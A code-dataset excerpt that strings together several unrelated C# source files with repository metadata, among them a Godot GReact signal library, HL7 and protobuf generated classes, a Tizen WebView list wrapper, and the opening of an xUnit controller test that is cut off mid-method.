| 28.666667 | 97 | 0.612579 | [
"BSD-2-Clause"
] | tsujio/Roro | src/Roro.Activities/Port.cs | 1,894 | C# |
using System;
using System.Collections.Generic;
using System.Runtime.CompilerServices;
namespace GReact {
public static class LambdaChecker {
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public static void Check(Action callback) {
if (Godot.OS.IsDebugBuild()) {
CheckTarget(callback.Target);
}
}
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public static void Check<T>(Action<T> callback) {
if (Godot.OS.IsDebugBuild()) {
CheckTarget(callback.Target);
}
}
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public static void Check<T1, T2>(Action<T1, T2> callback) {
if (Godot.OS.IsDebugBuild()) {
CheckTarget(callback.Target);
}
}
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public static void Check<T1, T2, T3>(Action<T1, T2, T3> callback) {
if (Godot.OS.IsDebugBuild()) {
CheckTarget(callback.Target);
}
}
[MethodImpl(MethodImplOptions.AggressiveInlining)]
private static void CheckTarget(object? target) {
if (target != null && Attribute.IsDefined(target.GetType(), typeof(CompilerGeneratedAttribute))) {
Godot.GD.PushWarning("This GReact signal was created with a lambda expression. This will cause performance issues, as the lambda will be recreated every frame, and thus always compare as unequal with the lambda from the previous frame, causing it to reconnect the signal every frame. It is recommended to use a static function instead, and pass anything you would close over using the props argument.");
}
}
}
public abstract class Signal : Godot.Object {
private struct CallbackHolder {
public Action<Godot.Node> callback;
}
private Godot.Node? node = null;
private class SpecializedSignal<PropT> : Signal where PropT : notnull {
private PropT props;
private Action<Godot.Node, PropT> callback;
public SpecializedSignal(Action<Godot.Node, PropT> callback, PropT props) {
this.props = props;
this.callback = callback;
}
public override void Call() {
if (node == null) {
throw new Exception("Signal somehow triggered without a valid node reference");
}
callback(node, props);
}
public override bool Equals(object? other) {
if (other is SpecializedSignal<PropT> signal) {
return props.Equals(signal.props) && callback == signal.callback;
}
return false;
}
public override int GetHashCode() {
int hashCode = -16276663;
hashCode = hashCode * -1521134295 + NativeInstance.GetHashCode();
hashCode = hashCode * -1521134295 + EqualityComparer<PropT>.Default.GetHashCode(props);
hashCode = hashCode * -1521134295 + EqualityComparer<Action<Godot.Node, PropT>>.Default.GetHashCode(callback);
return hashCode;
}
}
public abstract void Call();
public override abstract bool Equals(object? other);
public abstract override int GetHashCode();
public static Signal New<PropT>(Action<Godot.Node, PropT> callback, PropT props) where PropT : notnull {
LambdaChecker.Check(callback);
return new SpecializedSignal<PropT>(callback, props);
}
public static Signal New(Action<Godot.Node> callback) {
LambdaChecker.Check(callback);
return new SpecializedSignal<CallbackHolder>(CallCallback, new CallbackHolder { callback = callback });
}
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public void Connect(Godot.Node node, string signalName, Signal? oldSignal) {
this.node = node;
if (oldSignal == null || !Equals(oldSignal)) {
if (oldSignal != null) {
node.Disconnect(signalName, oldSignal, nameof(oldSignal.Call));
}
node.Connect(signalName, this, nameof(this.Call));
}
}
private static void CallCallback(Godot.Node node, CallbackHolder holder) => holder.callback(node);
}
public abstract class Signal<Arg1T> : Godot.Object where Arg1T : notnull {
private struct CallbackHolder {
public Action<Godot.Node, Arg1T> callback;
}
private Godot.Node? node = null;
private class SpecializedSignal<PropT> : Signal<Arg1T> where PropT : notnull {
private PropT props;
private Action<Godot.Node, PropT, Arg1T> callback;
public SpecializedSignal(Action<Godot.Node, PropT, Arg1T> callback, PropT props) {
this.props = props;
this.callback = callback;
}
protected override void Call(Arg1T arg) {
if (node == null) {
throw new Exception("Signal somehow triggered without a valid node reference");
}
callback(node, props, arg);
}
public override bool Equals(object? other) {
if (other is SpecializedSignal<PropT> signal) {
return props.Equals(signal.props) && callback == signal.callback;
}
return false;
}
public override int GetHashCode() {
int hashCode = -16276663;
hashCode = hashCode * -1521134295 + NativeInstance.GetHashCode();
hashCode = hashCode * -1521134295 + EqualityComparer<PropT>.Default.GetHashCode(props);
hashCode = hashCode * -1521134295 + EqualityComparer<Action<Godot.Node, PropT, Arg1T>>.Default.GetHashCode(callback);
return hashCode;
}
}
protected abstract void Call(Arg1T arg);
public override abstract bool Equals(object? other);
public abstract override int GetHashCode();
public static Signal<Arg1T> New<PropT>(Action<Godot.Node, PropT, Arg1T> callback, PropT props) where PropT : notnull {
LambdaChecker.Check(callback);
return new SpecializedSignal<PropT>(callback, props);
}
public static Signal<Arg1T> New(Action<Godot.Node, Arg1T> callback) {
LambdaChecker.Check(callback);
return new SpecializedSignal<CallbackHolder>(CallCallback, new CallbackHolder { callback = callback });
}
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public void Connect(Godot.Node node, string signalName, Signal<Arg1T>? oldSignal) {
this.node = node;
if (oldSignal == null || !Equals(oldSignal)) {
if (oldSignal != null) {
node.Disconnect(signalName, oldSignal, nameof(oldSignal.Call));
}
node.Connect(signalName, this, nameof(this.Call));
}
}
private static void CallCallback(Godot.Node node, CallbackHolder holder, Arg1T arg) => holder.callback(node, arg);
}
} | 37.130178 | 408 | 0.700558 | [
"MIT"
] | zorbathut/greact | GReact/Signal.cs | 6,275 | C# |
namespace Huobi.SDK.Model.Response.Account
{
public class TransferPointResponse
{
/// <summary>
/// Status code
/// </summary>
public int code;
/// <summary>
/// Error message (if any)
/// </summary>
public string message;
public Data data;
public class Data
{
/// <summary>
/// Transaction ID
/// </summary>
public string transactId;
/// <summary>
/// Transaction time (unix time in millisecond)
/// </summary>
public long transactTime;
}
}
}
| 21.064516 | 59 | 0.468606 | [
"Apache-2.0"
] | BlancHeart/huobi_CSharp | Huobi.SDK.Model/Response/Account/TransferPointResponse.cs | 655 | C# |
/*
* Copyright (c) 2018 Samsung Electronics Co., Ltd All Rights Reserved
*
* Licensed under the Apache License, Version 2.0 (the License);
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an AS IS BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
using System;
using System.Collections;
using System.ComponentModel;
using System.Collections.Generic;
namespace Tizen.WebView
{
/// <summary>
/// This class provides the properties of Back Forward list item of a specific WebView.
/// </summary>
/// <since_tizen> 6 </since_tizen>
public class BackForwardListItem
{
private IntPtr _item_handle;
/// <summary>
/// Creates a Back Forward List Item object.
/// </summary>
/// <since_tizen> 6 </since_tizen>
internal BackForwardListItem(IntPtr handle)
{
_item_handle = handle;
}
/// <summary>
/// Url of the back forward list item.
/// </summary>
/// <since_tizen> 6 </since_tizen>
public string Url
{
get
{
return Interop.ChromiumEwk.ewk_back_forward_list_item_url_get(_item_handle);
}
}
/// <summary>
/// Title of the back forward list item.
/// </summary>
/// <since_tizen> 6 </since_tizen>
public string Title
{
get
{
return Interop.ChromiumEwk.ewk_back_forward_list_item_title_get(_item_handle);
}
}
/// <summary>
/// Original Url of the back forward list item.
/// </summary>
/// <since_tizen> 6 </since_tizen>
public string OriginalUrl
{
get
{
return Interop.ChromiumEwk.ewk_back_forward_list_item_original_url_get(_item_handle);
}
}
}
/// <summary>
/// This class provides the properties of Back Forward list of a specific WebView.
/// </summary>
/// <since_tizen> 6 </since_tizen>
public class BackForwardList
{
private IntPtr _list_handle;
/// <summary>
/// Creates a Back Forward List object.
/// </summary>
/// <since_tizen> 6 </since_tizen>
internal BackForwardList(IntPtr handle)
{
_list_handle = handle;
}
/// <summary>
/// Current item of the back forward list.
/// </summary>
/// <remarks>
/// BackForward List can be null if there is no current item.
/// </remarks>
/// <since_tizen> 6 </since_tizen>
public BackForwardListItem CurrentItem
{
get
{
IntPtr itemPtr = Interop.ChromiumEwk.ewk_back_forward_list_current_item_get(_list_handle);
if(itemPtr != null) {
BackForwardListItem item = new BackForwardListItem(itemPtr);
return item;
}
else {
return null;
}
}
}
/// <summary>
/// Previous item of the back forward list and null if no previous item.
/// </summary>
/// <remarks>
/// BackForward List can be null if there is no previous item.
/// </remarks>
/// <since_tizen> 6 </since_tizen>
public BackForwardListItem PreviousItem
{
get
{
IntPtr itemPtr = Interop.ChromiumEwk.ewk_back_forward_list_previous_item_get(_list_handle);
if(itemPtr != null) {
BackForwardListItem item = new BackForwardListItem(itemPtr);
return item;
}
else {
return null;
}
}
}
/// <summary>
/// Gets the back forward list count.
/// </summary>
/// <since_tizen> 6 </since_tizen>
public uint Count
{
get
{
return Interop.ChromiumEwk.ewk_back_forward_list_count(_list_handle);
}
}
/// <summary>
/// Gets the list containing the items preceding the current item
/// limited by limit.
/// </summary>
/// <param name="limit"> limit The number of items to retrieve, if limit -1 all items preceding current item are returned.</param>
/// <returns>The list of the BackForwardListItem of back items.</returns>
/// <since_tizen> 6 </since_tizen>
public IList<BackForwardListItem> BackItems(int limit)
{
IntPtr backList = Interop.ChromiumEwk.ewk_back_forward_list_n_back_items_copy(_list_handle, limit);
List<BackForwardListItem> backItemsList = new List<BackForwardListItem>();
uint count = Interop.Eina.eina_list_count(backList);
for(uint i=0; i < count; i++) {
IntPtr data = Interop.Eina.eina_list_nth(backList, i);
backItemsList.Add(new BackForwardListItem(data));
}
return backItemsList;
}
/// <summary>
/// Gets the list containing the items following the current item
/// limited by limit.
/// </summary>
/// <param name="limit"> limit The number of items to retrieve, if limit is -1 all items following current item are returned.</param>
/// <returns>The list of the BackForwardListItem of forward items.</returns>
/// <since_tizen> 6 </since_tizen>
public IList<BackForwardListItem> ForwardItems(int limit)
{
IntPtr forwardList = Interop.ChromiumEwk.ewk_back_forward_list_n_forward_items_copy(_list_handle, limit);
List<BackForwardListItem> forwardItemsList = new List<BackForwardListItem>();
uint count = Interop.Eina.eina_list_count(forwardList);
for(uint i = 0; i < count; i++) {
IntPtr data = Interop.Eina.eina_list_nth(forwardList, i);
forwardItemsList.Add(new BackForwardListItem(data));
}
return forwardItemsList;
}
}
}
| 33.797927 | 141 | 0.572129 | [
"Apache-2.0"
] | wantfire/TizenFX | src/Tizen.WebView/Tizen.WebView/BackForwardList.cs | 6,525 | C# |
// <auto-generated>
// Generated by the protocol buffer compiler. DO NOT EDIT!
// source: mlagents_envs/communicator_objects/engine_configuration.proto
// </auto-generated>
#pragma warning disable 1591, 0612, 3021
#region Designer generated code
using pb = global::Google.Protobuf;
using pbc = global::Google.Protobuf.Collections;
using pbr = global::Google.Protobuf.Reflection;
using scg = global::System.Collections.Generic;
namespace MLAgents.CommunicatorObjects {
/// <summary>Holder for reflection information generated from mlagents_envs/communicator_objects/engine_configuration.proto</summary>
internal static partial class EngineConfigurationReflection {
#region Descriptor
/// <summary>File descriptor for mlagents_envs/communicator_objects/engine_configuration.proto</summary>
public static pbr::FileDescriptor Descriptor {
get { return descriptor; }
}
private static pbr::FileDescriptor descriptor;
static EngineConfigurationReflection() {
byte[] descriptorData = global::System.Convert.FromBase64String(
string.Concat(
"Cj1tbGFnZW50c19lbnZzL2NvbW11bmljYXRvcl9vYmplY3RzL2VuZ2luZV9j",
"b25maWd1cmF0aW9uLnByb3RvEhRjb21tdW5pY2F0b3Jfb2JqZWN0cyKVAQoY",
"RW5naW5lQ29uZmlndXJhdGlvblByb3RvEg0KBXdpZHRoGAEgASgFEg4KBmhl",
"aWdodBgCIAEoBRIVCg1xdWFsaXR5X2xldmVsGAMgASgFEhIKCnRpbWVfc2Nh",
"bGUYBCABKAISGQoRdGFyZ2V0X2ZyYW1lX3JhdGUYBSABKAUSFAoMc2hvd19t",
"b25pdG9yGAYgASgIQh+qAhxNTEFnZW50cy5Db21tdW5pY2F0b3JPYmplY3Rz",
"YgZwcm90bzM="));
descriptor = pbr::FileDescriptor.FromGeneratedCode(descriptorData,
new pbr::FileDescriptor[] { },
new pbr::GeneratedClrTypeInfo(null, new pbr::GeneratedClrTypeInfo[] {
new pbr::GeneratedClrTypeInfo(typeof(global::MLAgents.CommunicatorObjects.EngineConfigurationProto), global::MLAgents.CommunicatorObjects.EngineConfigurationProto.Parser, new[]{ "Width", "Height", "QualityLevel", "TimeScale", "TargetFrameRate", "ShowMonitor" }, null, null, null)
}));
}
#endregion
}
#region Messages
internal sealed partial class EngineConfigurationProto : pb::IMessage<EngineConfigurationProto> {
private static readonly pb::MessageParser<EngineConfigurationProto> _parser = new pb::MessageParser<EngineConfigurationProto>(() => new EngineConfigurationProto());
private pb::UnknownFieldSet _unknownFields;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public static pb::MessageParser<EngineConfigurationProto> Parser { get { return _parser; } }
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public static pbr::MessageDescriptor Descriptor {
get { return global::MLAgents.CommunicatorObjects.EngineConfigurationReflection.Descriptor.MessageTypes[0]; }
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
pbr::MessageDescriptor pb::IMessage.Descriptor {
get { return Descriptor; }
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public EngineConfigurationProto() {
OnConstruction();
}
partial void OnConstruction();
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public EngineConfigurationProto(EngineConfigurationProto other) : this() {
width_ = other.width_;
height_ = other.height_;
qualityLevel_ = other.qualityLevel_;
timeScale_ = other.timeScale_;
targetFrameRate_ = other.targetFrameRate_;
showMonitor_ = other.showMonitor_;
_unknownFields = pb::UnknownFieldSet.Clone(other._unknownFields);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public EngineConfigurationProto Clone() {
return new EngineConfigurationProto(this);
}
/// <summary>Field number for the "width" field.</summary>
public const int WidthFieldNumber = 1;
private int width_;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public int Width {
get { return width_; }
set {
width_ = value;
}
}
/// <summary>Field number for the "height" field.</summary>
public const int HeightFieldNumber = 2;
private int height_;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public int Height {
get { return height_; }
set {
height_ = value;
}
}
/// <summary>Field number for the "quality_level" field.</summary>
public const int QualityLevelFieldNumber = 3;
private int qualityLevel_;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public int QualityLevel {
get { return qualityLevel_; }
set {
qualityLevel_ = value;
}
}
/// <summary>Field number for the "time_scale" field.</summary>
public const int TimeScaleFieldNumber = 4;
private float timeScale_;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public float TimeScale {
get { return timeScale_; }
set {
timeScale_ = value;
}
}
/// <summary>Field number for the "target_frame_rate" field.</summary>
public const int TargetFrameRateFieldNumber = 5;
private int targetFrameRate_;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public int TargetFrameRate {
get { return targetFrameRate_; }
set {
targetFrameRate_ = value;
}
}
/// <summary>Field number for the "show_monitor" field.</summary>
public const int ShowMonitorFieldNumber = 6;
private bool showMonitor_;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public bool ShowMonitor {
get { return showMonitor_; }
set {
showMonitor_ = value;
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override bool Equals(object other) {
return Equals(other as EngineConfigurationProto);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public bool Equals(EngineConfigurationProto other) {
if (ReferenceEquals(other, null)) {
return false;
}
if (ReferenceEquals(other, this)) {
return true;
}
if (Width != other.Width) return false;
if (Height != other.Height) return false;
if (QualityLevel != other.QualityLevel) return false;
if (!pbc::ProtobufEqualityComparers.BitwiseSingleEqualityComparer.Equals(TimeScale, other.TimeScale)) return false;
if (TargetFrameRate != other.TargetFrameRate) return false;
if (ShowMonitor != other.ShowMonitor) return false;
return Equals(_unknownFields, other._unknownFields);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override int GetHashCode() {
int hash = 1;
if (Width != 0) hash ^= Width.GetHashCode();
if (Height != 0) hash ^= Height.GetHashCode();
if (QualityLevel != 0) hash ^= QualityLevel.GetHashCode();
if (TimeScale != 0F) hash ^= pbc::ProtobufEqualityComparers.BitwiseSingleEqualityComparer.GetHashCode(TimeScale);
if (TargetFrameRate != 0) hash ^= TargetFrameRate.GetHashCode();
if (ShowMonitor != false) hash ^= ShowMonitor.GetHashCode();
if (_unknownFields != null) {
hash ^= _unknownFields.GetHashCode();
}
return hash;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override string ToString() {
return pb::JsonFormatter.ToDiagnosticString(this);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void WriteTo(pb::CodedOutputStream output) {
if (Width != 0) {
output.WriteRawTag(8);
output.WriteInt32(Width);
}
if (Height != 0) {
output.WriteRawTag(16);
output.WriteInt32(Height);
}
if (QualityLevel != 0) {
output.WriteRawTag(24);
output.WriteInt32(QualityLevel);
}
if (TimeScale != 0F) {
output.WriteRawTag(37);
output.WriteFloat(TimeScale);
}
if (TargetFrameRate != 0) {
output.WriteRawTag(40);
output.WriteInt32(TargetFrameRate);
}
if (ShowMonitor != false) {
output.WriteRawTag(48);
output.WriteBool(ShowMonitor);
}
if (_unknownFields != null) {
_unknownFields.WriteTo(output);
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public int CalculateSize() {
int size = 0;
if (Width != 0) {
size += 1 + pb::CodedOutputStream.ComputeInt32Size(Width);
}
if (Height != 0) {
size += 1 + pb::CodedOutputStream.ComputeInt32Size(Height);
}
if (QualityLevel != 0) {
size += 1 + pb::CodedOutputStream.ComputeInt32Size(QualityLevel);
}
if (TimeScale != 0F) {
size += 1 + 4;
}
if (TargetFrameRate != 0) {
size += 1 + pb::CodedOutputStream.ComputeInt32Size(TargetFrameRate);
}
if (ShowMonitor != false) {
size += 1 + 1;
}
if (_unknownFields != null) {
size += _unknownFields.CalculateSize();
}
return size;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void MergeFrom(EngineConfigurationProto other) {
if (other == null) {
return;
}
if (other.Width != 0) {
Width = other.Width;
}
if (other.Height != 0) {
Height = other.Height;
}
if (other.QualityLevel != 0) {
QualityLevel = other.QualityLevel;
}
if (other.TimeScale != 0F) {
TimeScale = other.TimeScale;
}
if (other.TargetFrameRate != 0) {
TargetFrameRate = other.TargetFrameRate;
}
if (other.ShowMonitor != false) {
ShowMonitor = other.ShowMonitor;
}
_unknownFields = pb::UnknownFieldSet.MergeFrom(_unknownFields, other._unknownFields);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void MergeFrom(pb::CodedInputStream input) {
uint tag;
while ((tag = input.ReadTag()) != 0) {
switch(tag) {
default:
_unknownFields = pb::UnknownFieldSet.MergeFieldFrom(_unknownFields, input);
break;
case 8: {
Width = input.ReadInt32();
break;
}
case 16: {
Height = input.ReadInt32();
break;
}
case 24: {
QualityLevel = input.ReadInt32();
break;
}
case 37: {
TimeScale = input.ReadFloat();
break;
}
case 40: {
TargetFrameRate = input.ReadInt32();
break;
}
case 48: {
ShowMonitor = input.ReadBool();
break;
}
}
}
}
}
#endregion
}
#endregion Designer generated code
| 34.125786 | 291 | 0.655916 | [
"Apache-2.0"
] | 106051075/ml-agents | com.unity.ml-agents/Runtime/Grpc/CommunicatorObjects/EngineConfiguration.cs | 10,852 | C# |
using NHapi.Base.Parser;
using NHapi.Base;
using NHapi.Base.Log;
using System;
using System.Collections.Generic;
using NHapi.Model.V251.Segment;
using NHapi.Model.V251.Datatype;
using NHapi.Base.Model;
namespace NHapi.Model.V251.Group
{
///<summary>
///Represents the PPV_PCA_GOAL_PATHWAY Group. A Group is an ordered collection of message
/// segments that can repeat together or be optionally in/excluded together.
/// This Group contains the following elements:
///<ol>
///<li>0: PTH (Pathway) </li>
///<li>1: VAR (Variance) optional repeating</li>
///</ol>
///</summary>
[Serializable]
public class PPV_PCA_GOAL_PATHWAY : AbstractGroup {
///<summary>
/// Creates a new PPV_PCA_GOAL_PATHWAY Group.
///</summary>
public PPV_PCA_GOAL_PATHWAY(IGroup parent, IModelClassFactory factory) : base(parent, factory){
try {
this.add(typeof(PTH), true, false);
this.add(typeof(VAR), false, true);
} catch(HL7Exception e) {
HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error creating PPV_PCA_GOAL_PATHWAY - this is probably a bug in the source code generator.", e);
}
}
///<summary>
/// Returns PTH (Pathway) - creates it if necessary
///</summary>
public PTH PTH {
get{
PTH ret = null;
try {
ret = (PTH)this.GetStructure("PTH");
} catch(HL7Exception e) {
HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error accessing data - this is probably a bug in the source code generator.", e);
throw new System.Exception("An unexpected error ocurred",e);
}
return ret;
}
}
///<summary>
/// Returns first repetition of VAR (Variance) - creates it if necessary
///</summary>
public VAR GetVAR() {
VAR ret = null;
try {
ret = (VAR)this.GetStructure("VAR");
} catch(HL7Exception e) {
HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error accessing data - this is probably a bug in the source code generator.", e);
throw new System.Exception("An unexpected error ocurred",e);
}
return ret;
}
///<summary>
///Returns a specific repetition of VAR
/// * (Variance) - creates it if necessary
/// throws HL7Exception if the repetition requested is more than one
/// greater than the number of existing repetitions.
///</summary>
public VAR GetVAR(int rep) {
return (VAR)this.GetStructure("VAR", rep);
}
/**
* Returns the number of existing repetitions of VAR
*/
public int VARRepetitionsUsed {
get{
int reps = -1;
try {
reps = this.GetAll("VAR").Length;
} catch (HL7Exception e) {
string message = "Unexpected error accessing data - this is probably a bug in the source code generator.";
HapiLogFactory.GetHapiLog(GetType()).Error(message, e);
throw new System.Exception(message);
}
return reps;
}
}
/**
* Enumerate over the VAR results
*/
public IEnumerable<VAR> VARs
{
get
{
for (int rep = 0; rep < VARRepetitionsUsed; rep++)
{
yield return (VAR)this.GetStructure("VAR", rep);
}
}
}
///<summary>
///Adds a new VAR
///</summary>
public VAR AddVAR()
{
return this.AddStructure("VAR") as VAR;
}
///<summary>
///Removes the given VAR
///</summary>
public void RemoveVAR(VAR toRemove)
{
this.RemoveStructure("VAR", toRemove);
}
///<summary>
///Removes the VAR at the given index
///</summary>
public void RemoveVARAt(int index)
{
this.RemoveRepetition("VAR", index);
}
}
}
| 27.082707 | 159 | 0.636868 | [
"MPL-2.0",
"MPL-2.0-no-copyleft-exception"
] | afaonline/nHapi | src/NHapi.Model.V251/Group/PPV_PCA_GOAL_PATHWAY.cs | 3,602 | C# |
// Copyright 2007-2018 Chris Patterson, Dru Sellers, Travis Smith, et. al.
//
// Licensed under the Apache License, Version 2.0 (the "License"); you may not use
// this file except in compliance with the License. You may obtain a copy of the
// License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
namespace MassTransit.RabbitMqTransport.Contexts
{
using Context;
using Topology.Builders;
public interface RabbitMqReceiveEndpointContext :
ReceiveEndpointContext
{
BrokerTopology BrokerTopology { get; }
bool ExclusiveConsumer { get; }
}
} | 35.653846 | 82 | 0.724919 | [
"ECL-2.0",
"Apache-2.0"
] | AOrlov/MassTransit | src/MassTransit.RabbitMqTransport/Contexts/RabbitMqReceiveEndpointContext.cs | 929 | C# |
using System.Collections.Generic;
using System.Linq;
using OrBoard.Client.Controllers;
using OrBoard.Data;
using OrBoard.Domain.Models;
namespace OrBoard.Client.Models
{
public class AnesthCasesViewModel
{
public List<Procedure> ProcedureList { get; set; }
public List<Anesthetist> AnesthetistList { get; set; }
public List<Nurse> NurseList { get; set; }
public int SiD { get; set; }
public OrBoardDbContext _db = new OrBoardDbContext();
public AnesthCasesViewModel()
{
ProcedureList = new List<Procedure>();
AnesthetistList = new List<Anesthetist>();
NurseList = new List<Nurse>();
}
public void Read()
{
foreach (var item in _db.Anesthetists.ToList())
{
if(item.LoginId == LoginController.LoggedInUser)
{
SiD = item.AnesthetistId;
}
}
foreach (var item in _db.Procedures)
{
if(SiD == item.AnesthetistId)
{
ProcedureList.Add(item);
}
}
}
public void Write(int pId, string avail)
{
var update = _db.Procedures.SingleOrDefault(p => p.ProcedureId == pId);
if(update != null)
{
update.AnesthetistStatus = avail;
_db.SaveChanges();
}
}
}
} | 27.454545 | 83 | 0.512583 | [
"MIT"
] | Pronounced/County-OR-Board | OrBoard.Client/Models/AnesthCasesViewModel.cs | 1,510 | C# |
//------------------------------------------------------------------------------
// <auto-generated>
// Этот код создан программой.
// Исполняемая версия:4.0.30319.42000
//
// Изменения в этом файле могут привести к неправильной работе и будут потеряны в случае
// повторной генерации кода.
// </auto-generated>
//------------------------------------------------------------------------------
namespace MultiplayerForMinecraft.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.8.1.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}
| 40.407407 | 151 | 0.593951 | [
"MIT"
] | Samemantlt/MultiplayerForMinecraft | MultiplayerForMinecraft/Properties/Settings.Designer.cs | 1,227 | C# |
// The MIT License (MIT)
//
// Copyright (c) Andrew Armstrong/FacticiusVir 2018
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
// This file was automatically generated and should not be edited directly.
namespace SharpVk
{
/// <summary>
///
/// </summary>
[System.Flags]
public enum QueryPoolCreateFlags
{
/// <summary>
///
/// </summary>
None = 0,
}
}
| 37.179487 | 81 | 0.713103 | [
"MIT"
] | sebastianulm/SharpVk | src/SharpVk/QueryPoolCreateFlags.gen.cs | 1,450 | C# |
using System;
using System.Collections.Generic;
using System.Runtime.Serialization;
using System.Text;
namespace ClientePeatonXamarin.Modelos
{
public class ADMotivoGuiaDC
{
public ADMotivoGuiaDC()
{
}
public short IdMotivoGuia { get; set; }
public string Descripcion { get; set; }
public string DescripcionFinalMotivo
{
get
{
if (IdMotivoGuia == 114 || IdMotivoGuia == 116)
return "Reasignación Zona Postal";
if (IdMotivoGuia == 15 || IdMotivoGuia == 122)
return "Residente Ausente";
if (IdMotivoGuia == 184 || IdMotivoGuia == 156 || IdMotivoGuia == 132)
return "Siniestro";
return Descripcion;
}
}
}
}
| 22.578947 | 86 | 0.529138 | [
"MIT"
] | Erikole21/Xamarin-Forms-APP | ClientePeatonXamarin/ClientePeatonXamarin/Modelos/ExploradorEnvios/ADMotivoGuiaDC.cs | 861 | C# |
using System;
using System.Collections.Generic;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.SignalR;
using Moq;
using SB014.API.BAL;
using SB014.API.Controllers;
using SB014.API.DAL;
using SB014.API.Domain;
using SB014.API.Notifications;
using SB014.API.Models;
using Xunit;
namespace SB014.UnitTests.Api
{
public class Tournament_AddTournamentSubscriberGameAnswerAttemptShould
{
public delegate void EvaluateSubscriberAnswerFake(string ansAttempt, Clue clue, out int s);
[Fact]
public void ReturnStatusNotFound_WhenTournamentDoesNotExist()
{
// Arrange
var tournamentRepositoryFake = new Mock<ITournamentRepository>();
var mapper = Helper.SetupMapper();
tournamentRepositoryFake.Setup(p=>p.Get(It.IsAny<Guid>())).Returns<Tournament>(null);
tournamentRepositoryFake.Setup(p=>p.GetGame(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(new Game());
tournamentRepositoryFake.Setup(p=>p.GetSubscriber(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(new Subscriber());
var gameLogicFake = new Mock<IGameLogic>();
var tournamnetLogicFake = new Mock<ITournamentLogic>();
var tournamentBroadcastFake = new Mock<ITournamentBroadcast>();
var tournamentController = new TournamentController(tournamentRepositoryFake.Object, mapper, gameLogicFake.Object, tournamnetLogicFake.Object, tournamentBroadcastFake.Object);
AnswerAttemptUpdateModel answerAttempt = new AnswerAttemptUpdateModel{ Answer = "myanswer"};
// Act
var actionResult = tournamentController.AddTournamentSubscriberGameAnswerAttempt(new Guid(), new Guid(), new Guid(), new Guid(), answerAttempt);
// Assert
Assert.IsType<NotFoundResult>(actionResult);
}
[Fact]
public void ReturnStatusNotFound_WhenGameDoesNotExist()
{
// Arrange
var tournamentRepositoryFake = new Mock<ITournamentRepository>();
var mapper = Helper.SetupMapper();
tournamentRepositoryFake.Setup(p=>p.Get(It.IsAny<Guid>())).Returns(new Tournament());
tournamentRepositoryFake.Setup(p=>p.GetGame(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns<Game>(null);
tournamentRepositoryFake.Setup(p=>p.GetSubscriber(It.IsAny<Guid>(), It.IsAny<Guid>())).Returns(new Subscriber());
var gameLogicFake = new Mock<IGameLogic>();
var tournamnetLogicFake = new Mock<ITournamentLogic>();
